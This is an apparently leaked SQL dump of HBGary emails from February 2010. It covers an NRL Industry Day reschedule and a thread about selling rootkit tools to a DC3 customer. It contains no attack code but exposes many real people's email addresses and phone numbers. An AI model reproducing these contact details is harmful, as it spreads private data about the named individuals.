&lt;ltinnel@globalinfotek.com&gt;, &lt;melski@grammatech.com&gt;, &lt;tt@grammatech.com&gt;, &lt;sfiore@harris.com&gt;, &lt;aaron@hbgary.com&gt;, &lt;ted@hbgary.com&gt;, &lt;guttman@us.ibm.com&gt;, &lt;jrrao@us.ibm.com&gt;, &lt;leeplatt@icscorp.com&gt;, &lt;jmcgann@icscorp.com&gt;, &lt;ddones@icscorp.com&gt;, &lt;rlevy@i-a-i.com&gt;, &lt;brian.matt@jhuapl.edu&gt;, &lt;dfloyd@lgsinnovations.com&gt;, &lt;poppe@lgsinnovations.com&gt;, &lt;kmhalsey@liberty.edu&gt;, &lt;dawn.m.beyer@lmco.com&gt;, &lt;jamie.lawson@lmco.com&gt;, &lt;rick.mullikin@lmco.com&gt;, &lt;jritchie@atl.lmco.com&gt;, &lt;dilip.s.gokhale@lmco.com&gt;, &lt;carl.weir@lmco.com&gt;, &lt;joseph.h.mastin@lmco.com&gt;, &lt;michael.hultner@lmco.com&gt;, &lt;BRIAN.JOHNSON@mcdean.com&gt;, &lt;geaton@milcord.com&gt;, &lt;arajini@mzeal.com&gt;, &lt;agoodloe@gmail.com&gt;, &lt;christopher.newborn@navy.mil&gt;, &lt;Christopher.Valentino@ngc.com&gt;, &lt;kyle.schuman@ngc.com&gt;, &lt;mark.akey@ngc.com&gt;, &lt;Kevin.Gibbs@ngc.com&gt;, &lt;anthony.tysenn@navy.mil&gt;, &lt;kim.mccormick@navy.mil&gt;, &lt;vera.carroll@navy.mil&gt;, &lt;larry.paige@navy.mil&gt;, &lt;david.belardo@oracle.com&gt;, &lt;greg.blackburn@oracle.com&gt;, &lt;i.thompson@pikewerks.com&gt;, &lt;david.green@qinetiq-na.com&gt;, &lt;david.pickett@qinetiq-na.com&gt;, &lt;vernon.joyner@qinetiq-na.com&gt;, &lt;jefferson.spear@qinetiq-na.com&gt;, &lt;carter@qosient.com&gt;, &lt;djberger@raytheon.com&gt;, &lt;matrainoff@raytheon.com&gt;, &lt;jeff.janies@redjack.com&gt;, &lt;clandon@reefpointgroup.com&gt;, &lt;dmatsunaga@referentia.com&gt;, &lt;dchang@referentia.com&gt;, &lt;jsmith@referentia.com&gt;, &lt;kane@referentia.com&gt;, &lt;twilliams@referentia.com&gt;, &lt;jistein@rockwellcollins.com&gt;, &lt;kppande@rockwellcollins.com&gt;, &lt;carl.j.beisel@saic.com&gt;, &lt;rosenfeldel@saic.com&gt;, &lt;Lionel.L.Ramos@saic.com&gt;, &lt;anitad@securedecisions.com&gt;, &lt;peter.kiss@sentar.com&gt;, &lt;jason.syversen@siegetechnologies.com&gt;, &lt;andre.bondi@siemens.com&gt;, &lt;pwu@sift.info&gt;, &lt;adallas@soartech.com&gt;, &lt;mccusker@sonalysts.com&gt;, &lt;scottso@sonalysts.com&gt;, &lt;sdykes@swri.org&gt;, &lt;laura.lee@sparta.com&gt;, &lt;jeremy.epstein@sri.com&gt;, &lt;hal.aldridge@sypris.com&gt;, &lt;mark.richard@sypris.com&gt;, &lt;daniel.gutierrez@tasc.com&gt;, &lt;george.hull@tasc.com&gt;, &lt;info@design.techpromotion.com&gt;, &lt;shaikh@design.techpromotion.com&gt;, &lt;bowen@research.telcordia.com&gt;, &lt;mbanderson@teledyne.com&gt;, &lt;agrawala@cs.umd.edu&gt;, &lt;ealshaer@uncc.edu&gt;, \r\n &lt;paul@warriorllc.com&gt;Cc: &quot;Claire Gladbach, Contractor, Code 5540&quot; &lt;claire.gladbach.ctr@nrl.navy.mil&gt;, Kim McCormick &lt;kim.mccormick@navy.mil&gt;, &quot;Sonja Novickoff, Contractor, Code 5540&quot; &lt;sonja.novickoff.ctr@nrl.navy.mil&gt;, \r\n Stanley Chincheck &lt;stanley.chincheck@nrl.navy.mil&gt;Subject: Industry Day BAA 10-004 New Schedule\r\nTo All,    If you are receiving this email, you had originally signed up for theIndustry Day for BAA 10-004 (Computer Network Defense/Information Assurance\r\n(CND/IA) Enabling Capability Program) that was scheduled for 10 February2010.  As you all know, I sent out an email cancelling the Industry Day dueto compounding snow storms that caused the Federal Government to shut down\r\nfor 4 days.      The purpose of this email is to alert you to the rescheduled IndustryDay.  The new date is  ­   24 February 2010.   I hope this does not cause\r\nany inconvenience for those planning to attend, however, the Industry Dayneeded to be rescheduled sooner than later.  The check-in time, start timeand location will all remain the same (as was denoted on the ONR website\r\nwhen you originally registered).  Additional information provided below,will facilitate your arrival at NRL.    What I need each of you to do...ASAP....is to respond to myself, Claire,\r\nSonja and Kim regarding your intent to attend.  We need to quickly ascertainwho and how many will be attending.  Thanks.                                Stanley Chincheck\r\n                                EC ManagerPlease find the attached general directions to NRL.***\r\nIndustry Day will be held in the Friedman Room of Building 226 at the:Naval Research Laboratory4555 Overlook Ave. S.W.Washington DC, 20375\r\nDate: Wednesday, 24 February 2010Check-in Time: 0900 ­ 1000Industry Day:  1000 ­ 1300***Below are the visitor instructions on how to get onto NRL (a\r\ncontrolled-access facility) and where to drive to attend the workshop.If you have any questions/problems with getting access onto NRL for theworkshop, please call 202-557-6190 and we will assist you.\r\n***NRL Visitor Instructions:1. Drive directly to the front gate, present your driver¹s license andtell the guards that you are attending the CND/IA EC Industry Day. The\r\nguards will check your name from a list, give you a car pass and directyou to Building 226. (Note: Taxis are not permitted inside theLaboratory. Have the taxi drop you at the NRL Visitor Center Bldg. 72,\r\nlocated just outside the Laboratory&#39;s front gate. Call 202-557-6190 andtransportation onto the Laboratory will be arranged for you).2. Follow the signs directing you to Building 226 and park in the\r\ndesignated reserved CND/IA EC parking. (If you have any problemsfinding available parking, please call 202-557-6190 for assistance).3. Upon entering Bldg 226, you will see signs directing you to the Check-In\r\ntable for the meeting where you will be asked to show photo identificationto receive your visitor&#39;s badge.***Please feel free to email Claire Gladbach at\r\nclaire.gladbach.ctr@nrl.navy.mil if you have any further questions, or call202-404-8888.\r\n',1721,'aaron_hbgary_com/1721.html'),(2580,'2010-02-12','\"Charles Copeland\" <charles@hbgary.com>','/aaron@hbgary.com/new/1297001204.M865437P3547Q2580.eml','all@hbgary.com','New Contact Information','Hello,   Just wanted to give you guys a heads up my phone number has changed to 916-203-2100.\r\n',5779,'aaron_hbgary_com/5779.html'),(2581,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001205.M593830P3547Q2582.eml','\"Matt O\'Flynn\" <matt@hbgary.com>','Re: Writing specialized software','I\'m interested.\r\n\r\n From my iPhone\r\n\r\nOn Feb 12, 2010, at 3:57 PM, \"Matt O\'Flynn\"  wrote:\r\n\r\n> FYI, not sure if this is of interest to you, Harold works for GD in\r\n> support\r\n> of their contract at DC3...\r\n>\r\n> Best,\r\n>\r\n> Matt\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Rodriguez Harold Contractor DC3/DCCI\r\n> [mailto:harold.rodriguez.ctr@dc3.mil]\r\n> Sent: Friday, February 12, 2010 3:54 PM\r\n> To: Greg Hoglund; matt@hbgary.com; phil@hbgary.com; Bob Slapnik; Rich\r\n> Cummings\r\n> Subject: Writing specialized software\r\n>\r\n> Greg, All,\r\n>\r\n> I just had a call from one of our customers. They have a task to\r\n> elaborate\r\n> techniques to write specialized software.\r\n>\r\n> I will be doing some asking around to other organizations, but it\r\n> sounds\r\n> like something you could help based on your rootkit.com web site and\r\n> exposure to some of these techniques.\r\n>\r\n> If so, I am thinking it could be a support task or a tool you can\r\n> sell to\r\n> them.\r\n>\r\n> I will try to setup a conference call with them sometime next week.\r\n>\r\n> Best regards,\r\n>\r\n> Harold Rodriguez\r\n> Sr. Engineer, DCCI (Defense Cyber Crime Institute)\r\n> Defense Cyber Crime Center (DC3)\r\n>\r\n> Contractor: General Dynamics - Advanced Information Systems\r\n> (410) 694-6409\r\n> ***\r\n> ***\r\n> **********************************************************************\r\n> ********************************\r\n> This email and any files transmitted with it are intended solely for\r\n> the use\r\n> of the individual\r\n> or entity to whom they are addressed. If you have received this\r\n> email and\r\n> you are not\r\n> the intended recipient please notify the originating party and\r\n> delete the\r\n> email message.\r\n> ***\r\n> ***\r\n> **********************************************************************\r\n> ********************************\r\n>\r\n>\r\n>\r\n',8613,'aaron_hbgary_com/8613.html'),(2582,'2010-02-12','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001205.M62062P3547Q2581.eml','aaron@hbgary.com','Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA','\r\nAaron,My last meeting is running late.  I will call as soon as I can, but this may be closer to 6:00 pm.What is your schedule like for a follow up technical interchange meeting on Monday?  Would 2:30 PM work?Chris \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Starr, Christopher H.Sent: Fri Feb 12 14:57:44 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n5pm works.ThanksFrom my iPhoneOn Feb 12, 2010, at 2:41 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\nAaron,Can we talk at 5 pm? If I am available earlier I will call your cell phone.Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 14:07:50 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nGot a sec I can call?From my iPhoneOn Feb 12, 2010, at 12:51 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nJust got your message.  We will be having our telecon to discuss our own internal ideas and we can bring you in for the Monday follow up.  If you can dial in, we will be on, but I understand you may not be able to dial in today.\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 12:44:57 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nChris my wife is stuck in a snow bank and I have to go get her and the\r\nkids.  Is it alright to postpone until Monday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 12, 2010, at 2:07 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com\r\n\r\n &gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8942,'aaron_hbgary_com/8942.html'),(2583,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001205.M804992P3547Q2583.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome 	BAA','That time works.AaronFrom my iPhoneOn Feb 12, 2010, at 4:46 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\nAaron,My last meeting is running late.  I will call as soon as I can, but this may be closer to 6:00 pm.What is your schedule like for a follow up technical interchange meeting on Monday?  Would 2:30 PM work?\r\nChris \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 14:57:44 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n5pm works.ThanksFrom my iPhoneOn Feb 12, 2010, at 2:41 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\nAaron,Can we talk at 5 pm? If I am available earlier I will call your cell phone.Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 14:07:50 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nGot a sec I can call?From my iPhoneOn Feb 12, 2010, at 12:51 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nJust got your message.  We will be having our telecon to discuss our own internal ideas and we can bring you in for the Monday follow up.  If you can dial in, we will be on, but I understand you may not be able to dial in today.\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 12:44:57 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nChris my wife is stuck in a snow bank and I have to go get her and the\r\nkids.  Is it alright to postpone until Monday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 12, 2010, at 2:07 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com\r\n\r\n\r\n &gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14750,'aaron_hbgary_com/14750.html'),(2584,'2010-02-12','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001206.M274718P3547Q2585.eml','\"Rodriguez Harold Contractor DC3/DCCI\" <harold.rodriguez.ctr@dc3.mil>,\"Rodriguez Harold Contractor DC3/DCCI\" <harold.rodriguez.ctr@dc3.mil>,,,,,','Re: Writing specialized software','Harold,\r\n \r\nIf this is a specialized software development project, it might be a good fit for our sister company, HBGary Federal.  I&#39;ve copied Aaon Barr and Ted Vera.\r\n \r\nBob\r\nOn Fri, Feb 12, 2010 at 3:53 PM, Rodriguez Harold Contractor DC3/DCCI &lt;harold.rodriguez.ctr@dc3.mil&gt; wrote:\r\nGreg, All,I just had a call from one of our customers. They have a task to elaboratetechniques to write specialized software.\r\nI will be doing some asking around to other organizations, but it soundslike something you could help based on your rootkit.com web site andexposure to some of these techniques.\r\nIf so, I am thinking it could be a support task or a tool you can sell tothem.I will try to setup a conference call with them sometime next week.Best regards,Harold RodriguezSr. Engineer, DCCI (Defense Cyber Crime Institute)\r\nDefense Cyber Crime Center (DC3)Contractor: General Dynamics - Advanced Information Systems(410) 694-6409************************************************************************************************************\r\nThis email and any files transmitted with it are intended solely for the useof the individualor entity to whom they are addressed. If you have received this email andyou are notthe intended recipient please notify the originating party and delete the\r\nemail message.************************************************************************************************************\r\n',2090,'aaron_hbgary_com/2090.html'),(2585,'2010-02-12','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001206.M80514P3547Q2584.eml','aaron@hbgary.com','Fw: Meeting','\r\n\r\n\r\n\r\n\r\nMeeting\r\n\r\n\r\nWhat was your impression?  Asked bill if he recorded for posterity.  This is going to be fun!!!!Can you do thursday?  Endgame is coming friday.  Sending me a cd.Hope I don\'t drop my bb.  Doing this on the lift.  Skiing has bee great.\r\n\r\n\r\nFrom: Thompson, Bill (Xetron)To: Masterson, Brian (Xetron)Sent: Fri Feb 12 15:47:59 2010Subject: Meeting\r\n\r\n\r\n\r\nMeeting went fine.&nbsp; Conroy, Jadik, Barr, Armitage&nbsp; Conroy stated that he is for the corporation and that Xetron/HBGary is the right team.&nbsp; We can market to NGIS customers after the product is complete.\r\n\r\n\r\n\r\nHave fun,\r\n\r\nme\r\n\r\n\r\n',10373,'aaron_hbgary_com/10373.html'),(2586,'2010-02-12','\"Rodriguez Harold Contractor DC3/DCCI\" <harold.rodriguez.ctr@dc3.mil>','/aaron@hbgary.com/new/1297001206.M870301P3547Q2586.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,,,','RE: Writing specialized software','Thank you Bob!\r\n\r\nIt falls under the federal sector as an R&D project.\r\n\r\nBest regards,\r\n\r\nHarold R.\r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Friday, February 12, 2010 5:13 PM\r\nTo: Rodriguez Harold Contractor DC3/DCCI\r\nCc: Greg Hoglund; matt@hbgary.com; phil@hbgary.com; Rich Cummings; Aaron\r\nBarr; Ted Vera\r\nSubject: Re: Writing specialized software\r\n\r\nHarold,\r\n \r\nIf this is a specialized software development project, it might be a\r\ngood fit for our sister company, HBGary Federal.  I\'ve copied Aaon Barr\r\nand Ted Vera.\r\n \r\nBob\r\n\r\n\r\nOn Fri, Feb 12, 2010 at 3:53 PM, Rodriguez Harold Contractor DC3/DCCI\r\n wrote:\r\n\r\n\r\n	Greg, All,\r\n	\r\n	I just had a call from one of our customers. They have a task to\r\nelaborate\r\n	techniques to write specialized software.\r\n	\r\n	I will be doing some asking around to other organizations, but\r\nit sounds\r\n	like something you could help based on your rootkit.com\r\n  web site and\r\n	exposure to some of these techniques.\r\n	\r\n	If so, I am thinking it could be a support task or a tool you\r\ncan sell to\r\n	them.\r\n	\r\n	I will try to setup a conference call with them sometime next\r\nweek.\r\n	\r\n	Best regards,\r\n	\r\n	Harold Rodriguez\r\n	Sr. Engineer, DCCI (Defense Cyber Crime Institute)\r\n	Defense Cyber Crime Center (DC3)\r\n	\r\n	Contractor: General Dynamics - Advanced Information Systems\r\n	(410) 694-6409\r\n	\r\n************************************************************************\r\n****\r\n	********************************\r\n	This email and any files transmitted with it are intended solely\r\nfor the use\r\n	of the individual\r\n	or entity to whom they are addressed. If you have received this\r\nemail and\r\n	you are not\r\n	the intended recipient please notify the originating party and\r\ndelete the\r\n	email message.\r\n	\r\n************************************************************************\r\n****\r\n	********************************\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n**********************************************************************\r\nThis email and any files transmitted with it are confidential and\r\nintended solely for the use of the individual or entity to whom they\r\nare addressed. If you have received this email in error please notify\r\nthe system manager.\r\n\r\nThis footnote also confirms that this email message has been swept by\r\nMIMEsweeper for the presence of computer viruses.\r\n\r\nwww.clearswift.com\r\n**********************************************************************\r\n',13803,'aaron_hbgary_com/13803.html'),(2587,'2010-02-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001207.M602571P3547Q2587.eml','\"Rodriguez Harold Contractor DC3/DCCI\" <harold.rodriguez.ctr@dc3.mil>,\"Rodriguez Harold Contractor DC3/DCCI\" <harold.rodriguez.ctr@dc3.mil>,,','Re: Writing specialized software','Hi Harold,\r\n\r\nAaron and are excited to hear more about this opportunity.  Can you\r\nshare more via email, or would you like to set up a call to discuss?\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Fri, Feb 12, 2010 at 3:15 PM, Rodriguez Harold Contractor DC3/DCCI\r\n wrote:\r\n> Thank you Bob!\r\n>\r\n> It falls under the federal sector as an R&D project.\r\n>\r\n> Best regards,\r\n>\r\n> Harold R.\r\n>\r\n> -----Original Message-----\r\n> From: Bob Slapnik [mailto:bob@hbgary.com]\r\n> Sent: Friday, February 12, 2010 5:13 PM\r\n> To: Rodriguez Harold Contractor DC3/DCCI\r\n> Cc: Greg Hoglund; matt@hbgary.com; phil@hbgary.com; Rich Cummings; Aaron\r\n> Barr; Ted Vera\r\n> Subject: Re: Writing specialized software\r\n>\r\n> Harold,\r\n>\r\n> If this is a specialized software development project, it might be a\r\n> good fit for our sister company, HBGary Federal.  I\'ve copied Aaon Barr\r\n> and Ted Vera.\r\n>\r\n> Bob\r\n>\r\n>\r\n> On Fri, Feb 12, 2010 at 3:53 PM, Rodriguez Harold Contractor DC3/DCCI\r\n>  wrote:\r\n>\r\n>\r\n>        Greg, All,\r\n>\r\n>        I just had a call from one of our customers. They have a task to\r\n> elaborate\r\n>        techniques to write specialized software.\r\n>\r\n>        I will be doing some asking around to other organizations, but\r\n> it sounds\r\n>        like something you could help based on your rootkit.com\r\n>   web site and\r\n>        exposure to some of these techniques.\r\n>\r\n>        If so, I am thinking it could be a support task or a tool you\r\n> can sell to\r\n>        them.\r\n>\r\n>        I will try to setup a conference call with them sometime next\r\n> week.\r\n>\r\n>        Best regards,\r\n>\r\n>        Harold Rodriguez\r\n>        Sr. Engineer, DCCI (Defense Cyber Crime Institute)\r\n>        Defense Cyber Crime Center (DC3)\r\n>\r\n>        Contractor: General Dynamics - Advanced Information Systems\r\n>        (410) 694-6409\r\n>\r\n> ************************************************************************\r\n> ****\r\n>        ********************************\r\n>        This email and any files transmitted with it are intended solely\r\n> for the use\r\n>        of the individual\r\n>        or entity to whom they are addressed. If you have received this\r\n> email and\r\n>        you are not\r\n>        the intended recipient please notify the originating party and\r\n> delete the\r\n>        email message.\r\n>\r\n> ************************************************************************\r\n> ****\r\n>        ********************************\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> **********************************************************************\r\n> This email and any files transmitted with it are confidential and\r\n> intended solely for the use of the individual or entity to whom they\r\n> are addressed. If you have received this email in error please notify\r\n> the system manager.\r\n>\r\n> This footnote also confirms that this email message has been swept by\r\n> MIMEsweeper for the presence of computer viruses.\r\n>\r\n> www.clearswift.com\r\n> **********************************************************************\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',6214,'aaron_hbgary_com/6214.html'),(2588,'2010-02-12','\"Rodriguez Harold Contractor DC3/DCCI\" <harold.rodriguez.ctr@dc3.mil>','/aaron@hbgary.com/new/1297001207.M830224P3547Q2588.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','RE: Writing specialized software','Great!\r\n\r\nWe could set up a conference call next week.\r\n\r\nHopefully by then he will respond to some of my questions and we will get a better understanding of his requirements.\r\n\r\nPlease understand that at the moment I am not 100% sure this is the type of task he can bring support from the outside, but he is the program manager and he is looking for help. So, it sounded to me like an opportunity.\r\n\r\nBest regards,\r\n\r\nHarold R.\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, February 12, 2010 6:00 PM\r\nTo: Rodriguez Harold Contractor DC3/DCCI\r\nCc: Bob Slapnik; Greg Hoglund; Aaron Barr\r\nSubject: Re: Writing specialized software\r\n\r\nHi Harold,\r\n\r\nAaron and are excited to hear more about this opportunity.  Can you share more via email, or would you like to set up a call to discuss?\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Fri, Feb 12, 2010 at 3:15 PM, Rodriguez Harold Contractor DC3/DCCI  wrote:\r\n> Thank you Bob!\r\n>\r\n> It falls under the federal sector as an R&D project.\r\n>\r\n> Best regards,\r\n>\r\n> Harold R.\r\n>\r\n> -----Original Message-----\r\n> From: Bob Slapnik [mailto:bob@hbgary.com]\r\n> Sent: Friday, February 12, 2010 5:13 PM\r\n> To: Rodriguez Harold Contractor DC3/DCCI\r\n> Cc: Greg Hoglund; matt@hbgary.com; phil@hbgary.com; Rich Cummings; \r\n> Aaron Barr; Ted Vera\r\n> Subject: Re: Writing specialized software\r\n>\r\n> Harold,\r\n>\r\n> If this is a specialized software development project, it might be a \r\n> good fit for our sister company, HBGary Federal.  I\'ve copied Aaon \r\n> Barr and Ted Vera.\r\n>\r\n> Bob\r\n>\r\n>\r\n> On Fri, Feb 12, 2010 at 3:53 PM, Rodriguez Harold Contractor DC3/DCCI \r\n>  wrote:\r\n>\r\n>\r\n>        Greg, All,\r\n>\r\n>        I just had a call from one of our customers. They have a task \r\n> to elaborate\r\n>        techniques to write specialized software.\r\n>\r\n>        I will be doing some asking around to other organizations, but \r\n> it sounds\r\n>        like something you could help based on your rootkit.com \r\n>   web site and\r\n>        exposure to some of these techniques.\r\n>\r\n>        If so, I am thinking it could be a support task or a tool you \r\n> can sell to\r\n>        them.\r\n>\r\n>        I will try to setup a conference call with them sometime next \r\n> week.\r\n>\r\n>        Best regards,\r\n>\r\n>        Harold Rodriguez\r\n>        Sr. Engineer, DCCI (Defense Cyber Crime Institute)\r\n>        Defense Cyber Crime Center (DC3)\r\n>\r\n>        Contractor: General Dynamics - Advanced Information Systems\r\n>        (410) 694-6409\r\n>\r\n> **********************************************************************\r\n> **\r\n> ****\r\n>        ********************************\r\n>        This email and any files transmitted with it are intended \r\n> solely for the use\r\n>        of the individual\r\n>        or entity to whom they are addressed. If you have received this \r\n> email and\r\n>        you are not\r\n>        the intended recipient please notify the originating party and \r\n> delete the\r\n>        email message.\r\n>\r\n> **********************************************************************\r\n> **\r\n> ****\r\n>        ********************************\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> **********************************************************************\r\n> This email and any files transmitted with it are confidential and \r\n> intended solely for the use of the individual or entity to whom they \r\n> are addressed. If you have received this email in error please notify \r\n> the system manager.\r\n>\r\n> This footnote also confirms that this email message has been swept by \r\n> MIMEsweeper for the presence of computer viruses.\r\n>\r\n> www.clearswift.com\r\n> **********************************************************************\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5511,'aaron_hbgary_com/5511.html'),(2589,'2010-02-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001208.M255867P3547Q2590.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Writing specialized software','Sounds good Bob. Hope you have a nice weekend,\r\nTed\r\n\r\nOn Fri, Feb 12, 2010 at 4:38 PM, Bob Slapnik  wrote:\r\n> Ted and Aaron,\r\n>\r\n> Harold said, \"a support task or a tool you  can sell to them\".  A scenario\r\n> that is appealing to me would be us selling a license of one of the RK tools\r\n> we have already developed.  A next best scenario would be to modify an\r\n> existing tool to meet their requirements where they license existing tool\r\n> and they pay us to make the mods.  In the past we\'ve done these as FFP\r\n> transactions.  It\'s nice to turn existing code into cash.  I see the\r\n> transaction going through HBG Fed where HBG Fed acts as a resller of\r\n> HBGary\'s code.\r\n>\r\n> BTW, Harold works in Jim Jaeger\'s group.  He spends most of his time at\r\n> DC3.  He has a copy of Responder Pro that DC3 bought.\r\n>\r\n> Bob\r\n>\r\n>\r\n> On Fri, Feb 12, 2010 at 6:16 PM, Rodriguez Harold Contractor DC3/DCCI\r\n>  wrote:\r\n>>\r\n>> Great!\r\n>>\r\n>> We could set up a conference call next week.\r\n>>\r\n>> Hopefully by then he will respond to some of my questions and we will get\r\n>> a better understanding of his requirements.\r\n>>\r\n>> Please understand that at the moment I am not 100% sure this is the type\r\n>> of task he can bring support from the outside, but he is the program manager\r\n>> and he is looking for help. So, it sounded to me like an opportunity.\r\n>>\r\n>> Best regards,\r\n>>\r\n>> Harold R.\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Friday, February 12, 2010 6:00 PM\r\n>> To: Rodriguez Harold Contractor DC3/DCCI\r\n>> Cc: Bob Slapnik; Greg Hoglund; Aaron Barr\r\n>> Subject: Re: Writing specialized software\r\n>>\r\n>> Hi Harold,\r\n>>\r\n>> Aaron and are excited to hear more about this opportunity.  Can you share\r\n>> more via email, or would you like to set up a call to discuss?\r\n>>\r\n>> Regards,\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Fri, Feb 12, 2010 at 3:15 PM, Rodriguez Harold Contractor DC3/DCCI\r\n>>  wrote:\r\n>> > Thank you Bob!\r\n>> >\r\n>> > It falls under the federal sector as an R&D project.\r\n>> >\r\n>> > Best regards,\r\n>> >\r\n>> > Harold R.\r\n>> >\r\n>> > -----Original Message-----\r\n>> > From: Bob Slapnik [mailto:bob@hbgary.com]\r\n>> > Sent: Friday, February 12, 2010 5:13 PM\r\n>> > To: Rodriguez Harold Contractor DC3/DCCI\r\n>> > Cc: Greg Hoglund; matt@hbgary.com; phil@hbgary.com; Rich Cummings;\r\n>> > Aaron Barr; Ted Vera\r\n>> > Subject: Re: Writing specialized software\r\n>> >\r\n>> > Harold,\r\n>> >\r\n>> > If this is a specialized software development project, it might be a\r\n>> > good fit for our sister company, HBGary Federal.  I\'ve copied Aaon\r\n>> > Barr and Ted Vera.\r\n>> >\r\n>> > Bob\r\n>> >\r\n>> >\r\n>> > On Fri, Feb 12, 2010 at 3:53 PM, Rodriguez Harold Contractor DC3/DCCI\r\n>> >  wrote:\r\n>> >\r\n>> >\r\n>> >        Greg, All,\r\n>> >\r\n>> >        I just had a call from one of our customers. They have a task\r\n>> > to elaborate\r\n>> >        techniques to write specialized software.\r\n>> >\r\n>> >        I will be doing some asking around to other organizations, but\r\n>> > it sounds\r\n>> >        like something you could help based on your rootkit.com\r\n>> >   web site and\r\n>> >        exposure to some of these techniques.\r\n>> >\r\n>> >        If so, I am thinking it could be a support task or a tool you\r\n>> > can sell to\r\n>> >        them.\r\n>> >\r\n>> >        I will try to setup a conference call with them sometime next\r\n>> > week.\r\n>> >\r\n>> >        Best regards,\r\n>> >\r\n>> >        Harold Rodriguez\r\n>> >        Sr. Engineer, DCCI (Defense Cyber Crime Institute)\r\n>> >        Defense Cyber Crime Center (DC3)\r\n>> >\r\n>> >        Contractor: General Dynamics - Advanced Information Systems\r\n>> >        (410) 694-6409\r\n>> >\r\n>> > **********************************************************************\r\n>> > **\r\n>> > ****\r\n>> >        ********************************\r\n>> >        This email and any files transmitted with it are intended\r\n>> > solely for the use\r\n>> >        of the individual\r\n>> >        or entity to whom they are addressed. If you have received this\r\n>> > email and\r\n>> >        you are not\r\n>> >        the intended recipient please notify the originating party and\r\n>> > delete the\r\n>> >        email message.\r\n>> >\r\n>> > **********************************************************************\r\n>> > **\r\n>> > ****\r\n>> >        ********************************\r\n>> >\r\n>> >\r\n>> >\r\n>> >\r\n>> >\r\n>> >\r\n>> > **********************************************************************\r\n>> > This email and any files transmitted with it are confidential and\r\n>> > intended solely for the use of the individual or entity to whom they\r\n>> > are addressed. If you have received this email in error please notify\r\n>> > the system manager.\r\n>> 